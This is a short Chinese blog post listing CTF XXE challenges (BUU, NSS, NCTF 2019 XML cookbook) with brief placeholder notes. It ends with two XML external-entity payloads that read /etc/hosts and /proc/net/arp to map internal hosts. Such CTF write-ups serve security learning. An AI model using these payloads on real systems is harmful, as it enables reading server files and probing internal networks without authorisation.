CTF-XXE(持续更新，欢迎分享更多相关知识点的题目)

小蜗牛狂飙记

已于 2023-11-27 00:53:12 修改

阅读量1.4k

点赞数 1

文章标签： XXE

于 2023-08-28 23:03:27 首次发布

本文链接：https://blog.csdn.net/m0_74317362/article/details/132543041

版权

知识

实例

BUU

[PHP]XXE

进来看到
在这里插入图片描述
然后一起看
Write

BUU XXE COURSE 1

进来看到
在这里插入图片描述
一起看
write

NSS

[NCTF2019]Fake XML cookbook

反正是XXE
直接整
write

[NCTF 2019]True XML cookbook

不整花里胡哨，解题在最下面
write

与博主不同，我通过下面的语句得到了三个地址，其中两个通过c段扫描可以直接出来flag。flag出来了，输入平台却不对

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>123456</password></user>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&abc;</username><password>123456</password></user>